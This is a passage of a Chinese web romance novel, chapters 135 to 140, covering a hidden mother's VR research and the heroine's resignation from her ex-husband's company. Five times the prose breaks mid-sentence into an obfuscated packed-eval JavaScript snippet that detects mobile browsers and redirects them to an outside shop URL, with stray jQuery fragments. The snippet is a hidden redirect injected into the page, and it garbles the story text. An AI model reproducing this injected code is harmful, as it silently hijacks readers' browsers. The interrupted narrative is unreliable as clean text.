可是苏青莲到底去了什么地方? 没有人知道,就连他也不知道。 “苏青莲。” 许镇江站在这间空旷的房间内,声音带着几分寂寥。 “我都那样对你和那位阿江的孩子了,为什么你还不回来。” …… 第135章 她真的还活着吗 离开许家,许愿也是有点惊魂未定。 好像自己一直坚持的 某种观点某种思想被彻底推倒彻底抹杀。 她因为苏青莲的事情恨了许镇江这么久,到头来却告诉她,许镇江才是这段感情中的受害者,何其可笑。 “她真的还活着吗。” 许愿开口似有似无的问了一句。 盛景炎眸光晦暗,缓了片刻开口:“阿愿,你猜她为什么要研究全息,为什么要在十几年前只是听了一段讲座就要研究全息。” 苏青莲真的只是看中了全息能够带来的巨大利益价值吗?还是说另有所图。 “如果许镇江没有说谎,那苏女士可能是为了在另一个世界能触碰到自己的爱人所以才会研究全息。” “可你说,一个对爱情渴盼如此之久的人,在真正研究出全息后,机器链接大脑,进入到那个只属于他们的世界,看到自己渴求的人,她还会想要离开吗。” 这就是为什么很多人想研究全息却又不敢研究全息的最大弊端。 一旦机器链接大脑,必定会有很多人因为现实的不如意选择活在全息世界中不肯离开,一旦在其中构建个桃园世界,他们或许心甘情愿被困其中,所以他们研究的全息一次最多只能在其中活动六小时就必须登出,否则将会强制登出乃至报警。 但苏青莲从最开始研究全息可能就是为了某个人,一旦在全息世界触碰到他,苏青莲还会选择离开那个虚拟世界吗? 她可能早已经分不清现实和虚幻。 所以现在最重要的一点是,苏青莲她,还活着吗。 如果一切都是真的,许愿没办法指责苏青莲的所作所为。 如果苏青莲真的是为了一个男人做出这种事,她甚至可以理解。 十五年前的苏青莲,十几年前的苏青莲,最耀眼最美丽的年纪甚至还相信爱情的年纪,她会一意孤行的踏上这条路,研究全息进入另一个世界,如果是她,她或许也会做出相同的选择。 苏青莲给予她和苏逸生命,但她同样也有自己的人生,她对另一个人的爱大过于他们,她不爱许镇江不爱她不爱苏逸,她只爱那个人。 十几年的时间啊。 十几年前苏青莲提出的构想和数据分析以及代码现在很多科研工作室都未能跟上她十年前的代码研究数据,已经过了十几年,苏青莲……难道无法研究出全息吗? 或者说,她其实已经研究出全息。 许镇江突然的发狂让盛景炎明白傅长海为什么会一直紧盯苏青莲,哪怕是过气的手稿也一定要拿到。 “是不是忘记今天来这里的目的了?” 盛景炎巧妙的转移话题。 “有关苏阿姨的事我们并不清楚详情,不如先解决替考的事?” “已经吩咐下去了,营销号出动了,过几天我会爆出那些参与其中的人,就算不能将这种组织连根拔起也一定要让他们元气大伤。” …… 国偏远岛屿。 一座别墅矗立在中央,建筑风格贴近华国,别墅周围用围栏围住,种植着一片绿竹,这里的气候并不适合绿竹,也不知居住者用了什么方法,绿竹生长得茂盛,风吹过时发出簌簌的声响。 别墅附近建立的是各类建筑,不过多是华国建筑,偏古色生香的感觉。 别墅内的科研室内的全息舱内躺着一个容貌明艳迤逦的女性,她的脸上已经明显可以看到轻微的细纹,却仍然美得惊心动魄,带着东方美人独有的韵味。 机器突然骤响,她的手逐渐攥紧,身体因为突然急速传遍全身的电流瞬间睁开眼睛,将她从虚幻拉进现实。 她美目微睁,轻微的喘息着。 她长了一张和许愿几乎相同的脸,但是眉宇之间更多了几分淡漠的哀愁,分明是相似的一张脸,但她就更像池中莲,温婉淡雅的像是古画中走出的美人,而许愿的冷和明艳更加鲜活灵动。 她正是所有人都在寻找却一直躲在小岛的苏青莲。 “夫人,您又失败了。” 女人抬眸朝他看去,只是温润的嗯了一声。 她自行从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618089|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全息舱中爬出,扯出湿巾擦拭着脸上的冷汗不咸不淡的开口:“国内情况怎么样。” “小姐和少爷已经会面,小姐现在打算为少爷报仇,正在筹备计划中。” 候在一旁的保镖低语。 “还有就是……” “还有什么?”女人询问。 “小姐怀了傅京礼的孩子,但两人已经确定离婚,小姐现在的恋人是盛景炎,目前处于热恋状态。” 保镖一五一十的报备。 苏青莲眉头都未皱,只是微微颔首。 “盛景炎?那小子人品还算过得去,也算是选对了人。” 苏青莲随意的扯开软椅随性的躺靠在上面,打开房间内的屏幕,入目所见竟是博雅拍卖会当天的场景,看到许愿一个人挺直腰背孤傲的如同高山之巅的雪莲,她不适时的弯了弯唇笑出声。 “脸像我,性子和气质却像她父亲,挺好的。” 她眼底藏着的都是对许愿的欣赏,像是欣赏自己精心雕琢的作品名画。 “夫人, 既然您这么在意小姐和少爷,为什么还要……” 为什么还要这么多年不闻不问像个透明人? 苏青莲目光仍然落在许愿身上,声音淡淡的:“她和苏逸体内流着的血液是我和阿江的,最优秀的基因已经给了他们,如果自己不能活出个人样又哪里配是阿江的血脉。” “你以为我对他们所做的当真满意吗?” “爱上一个不爱自己的人丢了自己实在可笑,她现在幡然醒悟做出正确的选择才算是我的女儿。” “至于苏逸……” 房间内屏幕的画面一转,上面全都是苏逸列举出的各类行动计划。 “我最满意的是苏逸,就算没有许愿他也能自救,哪怕付出生命为代价他也会将a市闹得天翻地覆,这才是阿江的儿子。” 苏逸和苏青莲只有几分相似,苏逸更像阿江,五官清冷却又温润,面无表情时带着微微的压迫感,藏着十足的冷意,笑起来时眼尾弯弯的,如沐春风。 第136章 阿江 “先生还是没有醒吗。” 保镖问了句。 苏青莲微微垂眸淡淡的嗯了一声。 “他的身体已经恢复了大半,只是当年那场研究爆炸对身体机能损伤太过严重,加之他所在家族明争暗斗耽误了最佳治疗时间,现在只能对他身体进行脑部刺激才有几率唤醒他。” 苏青莲声音很轻很缓,但是提到对方声音都带着明显的笑意。 她在期待对方醒过来。 低头扫了眼时间,保镖立刻会意离开,苏青莲方才点开房间内的按钮,出现一条暗道,她随着暗道走到最尽头,是一间装修整洁的纯白色病房,说是病房,更像是单人居住的小房间。 男人躺在病床上,毫无知觉,手背在注射着营养液。 “阿江,我回来了。” “感觉今天链接你大脑的机器给了我更多回应,你是不是能感知到更多了。” 苏青莲唇角含笑的撩起床上的薄被,习惯性的取出药油为他按摩腿部,因为她多年的照料,虽然腿部肌肉还是有些萎缩,但看着也只是略显消瘦。 “我总觉得你就快要醒过来了。” “是吧。” 苏青莲眉宇之间都是温柔的笑意。 “等你醒来的时候我们都已经不再年轻了,不过……阿愿和阿逸很像我们,到那时看到他们就好像看到年轻时的我们,也挺好的不是吗。” 有风吹过撩动她的长发。 窗前的风铃都像是在细细的歌唱。 微弱的灯光倾洒在她的身上,她弯着唇,目光一直落在男人身上,完全不曾移开。 那是她可以倾尽所有的毕生挚爱。 就像许镇江所说,苏青莲从来不爱他,她爱的仅仅是“阿江”。 阿江,唐青江,本名并非唐青江,本名唐煜江,后因为苏青莲改名,只因苏青莲想换个情侣名他便同意了。 唐煜江这名字是唐家老一辈的人找人算过说他命里缺火又缺水稍有差池便会丧命,所以取名煜江,只为守住唐家这根嫡系独苗。 但为爱昏了头的唐煜江不信这些,执意去掉煜改成唐青江,结果后期果然在一场秘密研究计划中险些死于火灾。 因为命中缺火所以取了煜字想躲掉那场大火,最终还是没能躲掉。 苏青莲一直怪自己,她以为是自己的原因才害得唐青江出事,她一直都在寻找唐青江的踪迹,但唐家人恨她入骨更不可能让她见唐青江。 他们扯了个弥天大谎,让她以为唐青江死在那场大火中,他们对苏青莲恨之入骨又怎可能想让她好过? 可到底是没能防住苏青莲,任谁也没想到苏青莲疯到希望给唐青江留下子嗣盗取了唐青江唯二留下的基因,生下许愿和苏逸。 她在圈内的名望越来越高,唐家没了唐青江却开始走下坡路,有唐家人为以后寻找出路江唐青江还未离世成为植物人的消息告知苏青莲,苏青莲当机立断偷走了唐青江的身体,计划出自己惨死的一出游戏。 她就是要瞒过世人瞒过唐家让所有人都以为她已经死了。 她成功了,许镇江爱她爱到昏了头,即便知道这是盆污水也接了,世人骂他渣男骂他恶心骂他宠妾灭妻他全都认了。 她终于如愿以偿逃到国外,和唐青江躲在这座小岛上。 他的身体已经不行了,唤醒他的几率很小,但苏青莲就是要尝试不同的治疗方法。 最初研究全息确实是为了赴死,死在那场有唐青江的游戏中,但现在不同了,唐青江还活着,她要研究出全息然后刺激他的大脑图层,让她重新醒过来。 只要有唐青江,她就有了活下去的动力。 她算计唐家,算计许镇江,甚至连许愿都算在其中,但她独独不会算计唐青江。 “快些醒来吧。” 苏青莲,俯身,在他苍白的脸上印下很轻很轻的吻。 “我没有几个十年可等了,阿江。” …… 因为与苏青莲相关的事情,许愿消沉了几天,等她终于振作起来时替考的事情已经闹得很大了,都是相关新闻报道,很多涉事人员都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618090|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被查出来。 薛酒给的那份名单上的人大部分都落马。 但独独少了许家,或者说独独少了许镇江了许宁,苏正坤和苏浩天也在最后改口,只称是自己鬼迷心窍想要赚一笔大钱与许镇江无关。 许愿不懂,许镇江怎么就干干净净了。 她只是颓丧了几天时间,世界都变了吗。 她压制不住自己内心的怒火,托关系见到苏正坤和苏浩天。 两人此刻被关在同一间房,见到来人是许愿,先是瑟缩了下,显然那晚给他们吓到了,见到她时都会条件反射的轻微发抖。 可两人转念一想,也没什么可怕的。 许愿再厉害又如何呢? 他们都已经是傅家罩着的人了,他们都已经谈好了,他们父子两人认了罪护住许镇江,等做几年牢出来就能拿到一大笔钱,那笔钱够他们父子二人挥霍一辈子了! 为了那笔钱,苏正坤和苏浩天又支棱起来,纵然是怕许愿,却也觉得她再如何也奈何不了傅京礼,毕竟在他们所认知的范围 内许愿是傅氏的员工,是傅京礼的下属,绝对比不过傅京礼。 而他们已经做出了正确的选择,哪怕是为了傅京礼,许愿都不能再对他们出手。 可他们错了。 许愿真正的倚仗是盛华,是自己,从来都不是傅京礼。 “许小姐来了。” 苏浩天乐呵呵眯眯眼的看着许愿,已经少了几分惧意。 他觉得许愿是聪明人,应该打听到了些消息,只是不知道许愿这次来是为了什么。 “许小姐,你再如何对我威逼利诱都没有用的,傅先生已经跟我们谈得很清楚了,要让我们如实说,我们父子真的做不出栽赃陷害许先生的事。” 苏正坤此刻一副大义凛然的模样,好像自己真的是个好人一般。 房间里面的味道并不好闻,也不知道两人几天没洗澡,带着一股子发酵过的臭味儿,许愿眉头皱起,她并没有坐下,只是站在苏正坤面前,居高临下的看着面前的男人。 第137章 许愿,你疯了 “你以为我的倚仗是谁。” 许愿声音里面带着淡淡的讽意。 “你提起傅京礼,是想拿他压着我?” 苏正坤干笑几声,但明显带着幸灾乐祸的意味儿。 “许小姐您的靠山是傅总不是吗。” 这是在点她呢。 许愿挺想笑的,她这几天有些消沉,盛景炎陪了她几天没有关注替考相关的咨询,倒是让苏正坤这样的人渣抓住把柄似的。 可她的靠山什么时候变成傅京礼了? 又或者说……傅京礼什么时候真正站在她身后维护过她。 从未有过的事。 许愿脸上的讽意愈发深了。 见她不说话,苏正坤更得意:“许小姐你的出身不好又是个女人,算是祖上积德才能在傅氏工作呢,现在傅总都决定护着许先生和我们,许小姐若是聪明人,总该知道要如何选择了。” 出身不好。 是个女人 。 祖上积德。 哈。 一字一句都往许愿心口上戳许愿垂下眼睫看着在她面前得意的苏正坤,她脸上的表情越来越淡也越来越冷,许久后她缓缓开口。 “我当然知道要如何选择。” 当着苏正坤的面,许愿打通了傅京礼的电话,那边似乎是在进行会议,能听到有人汇报工作的声音,但傅京礼还是接听了她的电话。 “傅总,我要辞职。” 许愿声音很冷很淡,好似与男人之间真的没有任何羁绊。 会议进行到最重要的阶段,傅京礼叫停汇报工作的经理,脸色难看,一向没有表情的冷峻脸上甚至都出现了几分焦急之色。 他慌了。 “许愿,你疯了。” 许愿这个人一直都是淡淡的,看外表淡淡的,但是真正离婚后他却知道许愿攻击力很强,任何人都控不住她。 离婚后的许愿总给他一种随时都可能离开傅氏的错觉,所以他一直都担心许愿辞职,可现在才过多久她就做出这种决定。 “你冷静后再跟我谈话。” 傅京礼沉声后挂断电话。 他甚至觉得许愿冷静后仍然会提出辞职的请求,他不想听到这种话,所以果断的挂了电话。 他将手机掷到桌面上,发出不小的声响,会议室内一片寂静,他扫视一遍众人,声音仍然冷淡。 “继续。” 警局的许愿握着自己的手机,脸上笑容轻巧。 “你听到了吗。” 许愿唇角含笑眼神却是冷的。 “我从不会将傅京礼当做是我的退路靠山。” “你们当然可以选择为了钱向傅京礼低头,但你们也需要承受得住我的怒火。” “苏逸是我的弟弟,他受的你们都要千百倍的偿还。” “你们既然选择了钱,那就只能等宣判结果出来后在监狱内承受肉体的折磨。” “你们一定会被随机分到最好的监狱最好的牢房最友好的狱友……” “你一定会感谢我的。” 她分明表情淡淡的,可说出的话就是让人觉得心惊胆颤内心发慌。 许愿为什么是这副模样,她想做什么?她完全不担心傅京礼会生气吗。 “你……傅总说了不会让我们在这里出事。” 许愿垂眸,笑意凉薄。 “傅京礼说不会让你在这里出事,但是……你们父子会不会出事谁能说得准呢,说不定,就是有人看你们父子不顺眼做出点什么谁也拦不住。” “就像有些人走在路上什么都没做都可能被从天而降的石块铁板砸到失去生命。” “天灾人祸的,倒也不是谁能控制住的,毕竟傅京礼也不是神,不是吗。” 许愿没有说他们一定会出事,但字字句句都像是在点着他们一定会出事,苏正坤浑身发凉。 “你骗我,你一定在骗我!你就是傅氏的一个经理,你怎么比得过傅总!傅总说会保住我就一定会保住我!” 许愿抱着手臂喉间溢出很轻很浅的笑意。 “你既然知道傅京礼在业内的名声,那也该听过我未婚夫盛景炎了。” “盛景炎”三个字压到苏正坤心头,像是压上了一块大石,他唇瓣都在哆嗦,眼神里都是惊恐和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618091|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌乱。 见到他如此模样,许愿敛下眉退后几步,苏正坤扑过去跪在地上痛哭流涕的苦求:“许小姐,你放过我,你弟弟没出事不是我,是我养大他的,是我养大了他!我们是有感情的,你救救我放了我!” “我说!我什么都说,是许镇江指使我们这么做的,一切都是许镇江的算计!” “罪魁祸首是许镇江不是我们父子!我们只是棋子啊!” 他哭嚎哀求,惹来狱警的侧目。 许愿温婉的笑了笑再次退后几步。 “苏先生说笑了,我能有什么权利帮你们呢,只希望苏先生真的知道做错了事,往后在狱中好好悔过。” 话落,许愿转身离去,看都不再看苏正坤一眼。 苏家父子这般激烈的反抗怒吼着是许镇江,但所有人都无动于衷,许愿毫不意外。 傅京礼既然敢出手就一定做好了完全 的准备,所有跟许镇江相关的证据一定全都被抹除,苏家父子都已经进局再想出来是绝不可能的。 “男朋友成了未婚夫?我倒是挺愿意的,未婚妻你说呢。” 男人清润中带着戏谑笑意的声音在耳畔响起,抬眸便对上男人含笑的一双黑眸。 “什么时候来的。” 许愿语气平淡开口询问。 “你醒了之后一路跟来的。”盛景炎靠在墙边眼底仍带着浅浅的笑意。 “都听到了?”许愿开口询问。 盛景炎嗯了一声在前带路:“走吧,带你去傅氏。” 他们是真的有默契,许愿什么都没说他就已经猜到许愿是想去傅氏提辞职的事。 来到傅氏,盛景炎一直跟在她身边,这次收了往日吊儿郎当的模样,多了几分稳重严肃的感觉。 许愿在傅氏的身份地位是有目共睹的,保安前台看到她都多看了几眼后连忙打招呼,许愿回以微笑。 秘书科的人看到是许愿要见傅京礼立刻带她前往会议室,那场会议还未开完,许愿没进去,就坐在一旁的软椅上等。 盛景炎为她倒了杯热水温着她发凉的手心,许愿眼尾弯了弯,带着明显的笑意。 第138章 辞职 会议室的大门打开。 傅京礼走在最前面,抬眸便对上那一幕,一男一女相互依偎,细碎的带着点点冷意的灯光照射在两人身上都像是带上几许温和之意。 是许愿和盛景炎。 傅京礼喉头微微发堵。 他们结婚三年,许愿有对他这样笑过吗。 没有,许愿从没有这样笑过,或者说是因为他的原因所以许愿从没有这样笑过。 会议室内的众人都是傅氏的高层,其中不乏一直支持许愿的,倒是也有瞧不上许愿是个女人却占着个经理位置的,但这次许愿拒绝了莱蒂斯的合作让傅氏没有损失,这些人纵然是再不情愿面上也露出笑意走过去笑呵呵的冲许愿打招呼。 “许经理来晚了些,若是再早点,我们还能听到许经理对这次合同的另类见解了。” “没有许经理在场我们心里还真有点发慌。” “这次跟优途的合作案许经理要不要看一看,给点建议?” 所有人都在恭维她。 他们面上带着虚伪的笑意,出口的话都是赞美,纵然心里再看不上她也还要在这里演戏。 盛景炎看着这一幕,眼底的讽意都快要溢出来。 许愿放下手中的杯子,站起身,唇角带着温和的笑意。 “傅氏有傅总,有容秘书沈秘书还有诸位就够了,我参不参加会议其实并不重要。” 傅京礼已经猜到她要说什么,脸色骤变,没有任何表情的脸上都多了几分肃冷之意。 “许愿,你需要回去冷静一段时间。” “我可以给你批假,一个月后你再回傅氏,现在不要继续发疯!” 所有人都察觉到了两人之间的不对劲。 许愿摩挲着指尖,眼尾微微上挑,唇角带着柔柔的笑意。 “我非常冷静,我从没有像现在这样冷静过。” “傅总,我要辞职。” 话落,现场静下来。 高层们面面相觑,任谁也想不到许愿为什么会突然提到辞职相关的事。 “许愿,你在傅氏工作了三年。”傅京礼声音带着点哑。 高层们心想,是啊,许愿都在傅氏工作了三年,傅氏对她还不够好吗?拿到合同拿到资源分到手中的资金数额谁看了不眼红,谁能凭借一年时间在a市繁华地段拿下一套别墅,去了别的公司谁能给她这样的待遇? 薪酬,资源,职位,傅氏能给的都给了,许愿为什么还要走? 而且……如果许愿走了,谁能来顶替她的位置呢?傅氏的铁三角少了一个还算是铁三角吗。 为什么呢? 所有人都在问为什么,就连容浔和沈略都有些难以接受。 “三年时间很短的,弹指一挥间。” “赵经理王经理,我记得你们不是还要在自己部门召开会议吗?” 沈略平静的开口,还愣在原地的诸位高层瞬间回过神来找着借口逃离现场。 高层们离开了,现场只剩下傅京礼,盛景炎,沈略容浔还有许愿,他们之间什么关系,在场的人最清楚,也不必继续遮掩。 “许愿,你不能辞职,我会驳回你的辞职请求。” “回去冷静够了就回傅氏。” 傅京礼似乎是担心她继续提起辞职相关的事,此刻想要逃离,许愿面色平静的站在原地,看着男人伟岸的背影开口。 “傅京礼。” “我真的很累了。” 傅京礼没有停留。 “我为什么要辞职,你心里真的不清楚吗。” 许愿站在原地,目光仍然落在他高大的身影上,缓缓开口。 “胡浩的死跟你有关。” 男人这次停下了脚步。 许愿眼底掠过一抹嘲意。 “许宁与博雅的恩怨是你出面调停。” 傅京礼转身,那双漆黑的瞳眸幽暗深邃,但此刻却有些躲闪的不敢对上她莹润的黑眸。 可许愿没有停,她仍在问。 “许镇江设计替考这件事,是你毁掉那些证据让他全身而退。” 三句话,每句话都不是疑问句,而是肯定句。 “我在傅氏工作三年,陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618092|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在你身边三年,可我仍然猜不透你看不透你,我不明白你为什么能够一直对我如此残忍。” “胡浩是被谁派出来的你很清楚,那晚盛景炎出车祸的事你也清楚,背后的人要害的是我,我想查清楚真凶,我想反抗想报仇,而你……傅京礼,轻飘飘的带走罪犯用一场意外堵住他的嘴,护住你在乎的人。” 许愿微笑的问他:“我又算什么,等到下次我就活该被撞死对吗。” 傅京礼一时无法回应。 “许宁盗取我母亲的旗袍放到博雅拍卖出天价,她这是强取豪夺的盗窃,她伤害的是我,却被你如此简单的揭过。” “许镇江呢……” 提到许镇江许愿握紧拳,内心的恨意根本压都压不下去。 “他要害我弟弟人生,他要让他走上违法犯罪的道路然后变成人人唾弃的人渣废物,他要养废我的弟弟,他要设计我的弟弟,他要让他永远钉在高考这众人皆知的耻辱柱上,每一年都被人嘲讽斥骂。” “可你却轻轻松松的就将他的罪责全部抹除。” “你甚至给了那对霸凌侮辱他的苏家父子一笔巨款……” 许愿目光冰冷的看着他。 “傅京礼你告诉我,我还有什么理由留下。” “丈夫不是丈夫我认了,上司不是上司我也认了,可你凭什么一而再再而三的破坏我的计划拯救那些伤害我的人?” “傅京礼。”许愿抿唇,脸色苍白却又冰冷:“你说我脏,可现在应该是我对你说,你脏透了烂透了。” 如何能不恨呢?如何能不怨呢? “所以我要辞职……不,是我早该辞职。” 许愿一字一句全都清清楚楚的列出来,眉宇间的冷意丝毫不减。 现场再度陷入沉寂。 傅京礼此刻说不出任何反驳的话,因为许愿提到的一切都是真实存在的,那一切都是他做的。 盛景炎嘲讽出声:“私生女偷了嫡女母亲留下的遗物拍卖,你不但不阻止甚至还要推波助澜抹去她的罪行,傅京礼,你真不愧是千古好丈夫啊……不对,是好前夫。” 第139章 放她走 许愿就站在原地,盛景炎跟在她身后,两人几乎相贴在一起,可她面上仍然带着笑,盛景炎此刻歪了下头,透着几分邪气意味儿的黑眸盯着看向傅京礼像是挑衅。 “傅总,话都说到这份儿上了,总该放她走了。” 盛景炎嗤笑:“更何况,傅总不是早就已经放她走了吗。” “婚都离了还逼着前妻在这里工作,傅总未免太过了些。” 盛景炎在挑衅,在攻击。 许愿视而不见,她没有看傅京礼,似是倦了累了,低头摆弄着自己的手机玩弄着。 她是真的变了,或许是因为不爱了。 若是往日,不论任何人攻击他,许愿都会站出来阻止维护,此刻许愿就站在他面前她却直接无视,好像一切都不配被她放到心上。 残忍的事实真相全都被揭露,血淋淋的事实摆在他们面前,躲不得逃不开。 傅京礼握紧拳,冲过去一拳狠狠砸向盛景炎:“是你让她知道了这一切!” 盛景炎垂眸握住他的砸过来的拳头然后更用力的反击回去。 “是你先撕毁了我们之间的合约,胡浩为什么会死!你告诉我!” 最初他们之间的赌约赌的就是胡浩的去留,他赌赢了,可傅京礼放回去的是已经车祸身亡的胡浩,一个死人,怎么指控傅长海? 傅京礼眸色晦深,染带着几分血色,死死逼视着盛景炎:“不是我做的。” 他声音嘶哑带着十足的恨意。 “不是你做的,但造成这种局面的难道不是你吗。” 盛景炎出言嘲讽。 傅京礼卸了力。 是啊,造成这种局面果然是跟他有关,傅长海敢做那些事就是因为有他做倚仗,他知道无论做任何事傅京礼都会为他摆平,就是知道他会出手,傅长海轻而易举的找到胡浩悄无声息的要了他的命然后重新丢回到医院内,做出车祸身亡的惨死状态,凶手却直指许愿。 如果不是他带走胡浩,这一切不会发生。 是他对傅长海的纵容造成这样的结局。 傅京礼没有了继续针对盛景炎的欲望,他松开盛景炎的衣领,退后几步。 目光重新落到许愿的脸上,喉结滚动,许多想挽留的话到了喉口却说不出。 “你的辞职请求我同意了,工作交接找容浔和沈略,最后一则有关盛世的合作完成后你随时可以离开傅氏。” 他终于松口决定放她离开。 “谢谢傅总。” 许愿终于露出还算温和的笑意。 见她如此,容浔眼神微动,开口挽留。 “许愿,我们之间合作得不够好吗,留在傅氏,傅氏能给你很多,地位,财富,股份,你想要的都会有。” 容浔的挽留是因为对她能力的欣赏,他看中的是许愿的超越常人的能力。 最重要的是许愿此人在谈判桌上往往居于上风,若是放许愿离开,那傅氏会多一个强敌。 他不能保证与许愿对上自己能有多少胜算。 “容秘书,傅氏能给她的难道我给不起吗?” 盛景炎眼神幽暗,压低声音带着几分危险之意。 “她如果愿意我盛世总裁夫人的位置是她的,我这个总裁也可以给她让位,我所拥有的可以尽数分给她,我敢这样做,傅总敢吗。” “不要跟我提什么以后会腻,会离开她这种可笑的言论。我不会离开,就算往后真的发生意外,我给她的东西足够让她报复我毁掉我。” “我此刻给出的金钱权利地位,就代表我的真心。” “不会有人比我更有诚意。” 盛景炎嘲讽:“想跟我争,等你们傅总什么时候心甘情愿奉出这一切再说。” 这次容浔没再开口。 显而易见,盛景炎抛出的饵更加诱人,或者说不是饵,是真实的庞大的利益。 他没道理阻拦许愿选择盛景炎。 许愿和盛景炎离开了,他们一同进入傅氏又一同相携离开,实在是般配登对。 沈略烦躁的揉着自己的头发,直到揉捏成杂草般的模样才终于哑着嗓子开口:“铁三角少了一个……新来的那位许秘书扛得起这担子吗。” 新来的许秘书,说的是许宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618093|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 话落沈略长叹一口气转身离开,他似乎也不知道自己此刻能说什么。 沈略似是也不想多留,失魂落魄的离开。 傅京礼面无表情加快脚步回到办公室,他似是完全忘记跟在身边的容浔,关上门的瞬间,身体停靠在墙边,拳头紧握,漆黑的瞳眸里面暗藏的是无法诉说的深沉的痛苦。 为什么会走到这一步。 明明不该这样。 “后悔吗。” 容浔摘下眼镜,兀自擦拭着镜片。 “她曾经很爱你。” 容浔才是精明的商人,就是足够聪慧才会在傅氏多次以傅京礼为饵让许愿心甘情愿的在傅氏一次又一次接下那些大单。 “可她不爱你时似乎更加优秀更加耀眼。” 容浔说的是实话。 爱情是什么?是全心全意,是付出是陪伴,是永远将自己排在最后吗,如果对方同样爱她,他 们会感受到浓烈的爱意,就像麦琪的礼物那般有舍有得都会得到更珍贵的礼物。 可傅京礼和许愿之间不是这样的。 他们之间一直在付出的是许愿,一直得到的是傅京礼。 他索取、霸占、摧毁、伤害、背叛,这一切的一切成了最终伤害她的利刃,她厌了倦了所以决定退出。 “她不爱你了。” 容浔明白,许愿不爱他了。 傅氏其实就是最后的羁绊,她要离开傅氏,就是要斩断最后的联系。 容浔如此直接的开口。 “许愿一定会去盛世,傅氏失去许愿是一大损失,许愿以后一定会是傅氏的强敌。” “我们足够了解许愿,但许愿也足够了解傅氏。” 就是太了解彼此,所以以后商业方面若是竞争关系,那必定是劲敌。 更何况,他们真的了解许愿吗? 在他认知范围内,许愿骄傲强大,纵然爱着傅京礼时也从不卑微。 这样的女人,不是轻易可控的。 容浔看向窗外,缓缓开口:“下个月金融峰会赢家究竟是谁呢。” 第140章 你想吻我吗 如果许愿还在傅氏,金融峰会最后的赢家或许会是傅氏。 傅氏许秘书能顶a市商界半边天这句话是业内流传的一句话,只是流传得并不算广,但这句话能被那些商圈的人说出来,还不能证明许愿的实力? 凭借一己之力拿下百亿跨国订单的女人一旦松开束缚,能在圈内掀起多大的风浪? 现在没人清楚。 但愿许愿离开傅氏后,不会选择与傅氏为敌。 …… “说得倒是好听,要分我一半资产。” 上了车,许愿抱着手臂,唇角含着轻微的笑意看向盛景炎。 “怎么?你也看上了盛华?” 旁人不知道许愿的身价,盛景炎却是清楚。 盛华的地位不比盛世差,可以算是同等地位,说是分她一半资产,倒不如说是资源置换。 “天地良心,我真心的。” 盛景炎捧住她的手握住:“我们现在去领证,你就是盛世的女主人,总裁的位子都可以让给你,你想怎么规划合作都可以。” 许愿挑了挑眉:“做什么梦呢。” “想让我帮你管理公司,你自己去浪?” 就是因为清楚她的实力,所以无所顾忌。 “可惜,我的心思被你猜透了。” 盛景炎轻叹一声,见他如此,许愿眉眼都弯了弯,勾住他的指尖,还未开口,已经被男人抓住了手。 “解脱了,开心吗。” 从傅氏离开,盛景炎能够感觉到许愿的情绪不对。 他故意一般提着各种话题逗她开心。 许愿眼神微微闪烁,她看向窗外,眸色浅淡却又带着几许迷茫。 “我说不清楚是什么感觉。” 盛景炎揽住她的肩,许愿身体僵硬了一瞬,这些天一直跟他一起,已经习惯他的触碰,此刻放纵一般的在他肩头轻轻蹭了蹭,很轻缓的力道。 “不是慌,只觉得有些难过。” 